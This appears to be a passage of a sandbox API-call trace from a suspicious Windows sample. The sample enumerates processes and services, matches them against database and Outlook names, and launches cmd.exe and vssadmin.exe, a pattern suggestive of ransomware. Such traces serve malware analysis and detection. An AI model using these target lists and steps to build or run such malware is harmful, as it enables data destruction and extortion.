1 [0197.851] lstrlenW (lpString="svchost.exe") returned 11 [0197.851] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.851] lstrlenW (lpString="svchost.exe") returned 11 [0197.851] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.853] lstrlenW (lpString="svchost.exe") returned 11 [0197.853] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0197.853] lstrlenW (lpString="spoolsv.exe") returned 11 [0197.853] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.854] lstrlenW (lpString="svchost.exe") returned 11 [0197.854] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0197.854] lstrlenW (lpString="audiodg.exe") returned 11 [0197.854] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0197.855] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0197.855] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0197.856] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0197.856] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0197.856] lstrlenW (lpString="Memory Compression") returned 18 [0197.856] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0197.857] lstrlenW (lpString="sihost.exe") returned 10 [0197.857] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.857] lstrlenW (lpString="svchost.exe") returned 11 [0197.857] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0197.858] lstrlenW (lpString="taskhostw.exe") returned 13 [0197.858] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0197.858] lstrlenW (lpString="msoia.exe") returned 9 [0197.858] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0197.859] lstrlenW (lpString="explorer.exe") returned 12 [0197.860] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0197.860] lstrlenW (lpString="SearchUI.exe") returned 12 [0197.860] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0197.861] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0197.861] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0197.861] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0197.861] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0197.862] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0197.862] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0198.055] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0198.055] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.055] lstrlenW (lpString="cmd.exe") returned 7 [0198.055] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.056] lstrlenW (lpString="conhost.exe") returned 11 [0198.056] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0198.056] lstrlenW (lpString="consent.exe") returned 11 [0198.056] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0198.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0198.057] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0198.057] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0198.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0198.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0198.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0198.057] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0198.057] lstrlenW (lpString="vssadmin.exe") returned 12 [0198.057] lstrcmpiW (lpString1="1c8.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="outlook.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="postgres.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="vssadmin.exe") returned -1 [0198.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="vssadmin.exe") returned -1 [0198.057] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.058] lstrlenW (lpString="dllhost.exe") returned 11 [0198.058] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0198.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0198.058] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0198.058] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0198.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0198.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0198.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0198.058] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0198.059] CloseHandle (hObject=0x534) returned 1 [0198.059] Sleep (dwMilliseconds=0x1f4) [0199.037] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b288 [0199.039] EnumServicesStatusExW (in: hSCManager=0x447b288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0199.040] GetLastError () returned 0xea [0199.040] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x54a0268 [0199.040] EnumServicesStatusExW (in: hSCManager=0x447b288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54a0268, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54a0268, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0199.041] CloseServiceHandle (hSCObject=0x447b288) returned 1 [0199.042] lstrlenW (lpString="Appinfo") returned 7 [0199.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.042] lstrlenW (lpString="AppXSvc") returned 7 [0199.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0199.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0199.042] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0199.042] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0199.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0199.042] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.042] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.042] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.042] lstrlenW (lpString="Audiosrv") returned 8 [0199.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0199.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0199.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0199.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0199.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0199.042] lstrlenW (lpString="BFE") returned 3 [0199.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.043] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.043] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.043] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0199.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.043] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0199.043] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0199.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0199.043] lstrlenW (lpString="CDPSvc") returned 6 [0199.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0199.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0199.043] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0199.043] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0199.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0199.043] lstrlenW (lpString="ClickToRunSvc") returned 13 [0199.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.043] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0199.043] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0199.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0199.043] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0199.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.043] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0199.043] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0199.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0199.043] lstrlenW (lpString="CryptSvc") returned 8 [0199.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.044] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.044] lstrlenW (lpString="DcomLaunch") returned 10 [0199.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.044] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.044] lstrlenW (lpString="DeviceAssociationService") returned 24 [0199.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0199.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0199.044] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0199.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0199.044] lstrlenW (lpString="Dhcp") returned 4 [0199.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.044] lstrlenW (lpString="Dnscache") returned 8 [0199.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.044] lstrlenW (lpString="DPS") returned 3 [0199.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.044] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.045] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.045] lstrlenW (lpString="DsmSvc") returned 6 [0199.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0199.045] lstrlenW (lpString="DusmSvc") returned 7 [0199.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0199.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0199.045] lstrlenW (lpString="EventLog") returned 8 [0199.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0199.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0199.045] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0199.045] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0199.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0199.045] lstrlenW (lpString="EventSystem") returned 11 [0199.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.045] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.045] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.045] lstrlenW (lpString="FontCache") returned 9 [0199.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0199.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0199.045] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0199.046] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0199.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0199.046] lstrlenW (lpString="gpsvc") returned 5 [0199.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.046] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.046] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.046] lstrlenW (lpString="iphlpsvc") returned 8 [0199.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.046] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.047] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.047] lstrlenW (lpString="KeyIso") returned 6 [0199.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0199.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0199.047] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0199.047] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0199.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0199.047] lstrlenW (lpString="LanmanServer") returned 12 [0199.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.047] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.047] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.047] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.047] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.047] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.047] lstrlenW (lpString="lfsvc") returned 5 [0199.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0199.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0199.047] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0199.047] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0199.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0199.047] lstrlenW (lpString="lmhosts") returned 7 [0199.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.047] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.048] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.048] lstrlenW (lpString="LSM") returned 3 [0199.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0199.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0199.048] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0199.048] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0199.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0199.048] lstrlenW (lpString="MpsSvc") returned 6 [0199.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.048] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.048] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.048] lstrlenW (lpString="NcbService") returned 10 [0199.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0199.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0199.048] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0199.048] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0199.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0199.048] lstrlenW (lpString="netprofm") returned 8 [0199.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.048] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.048] lstrcmpiW 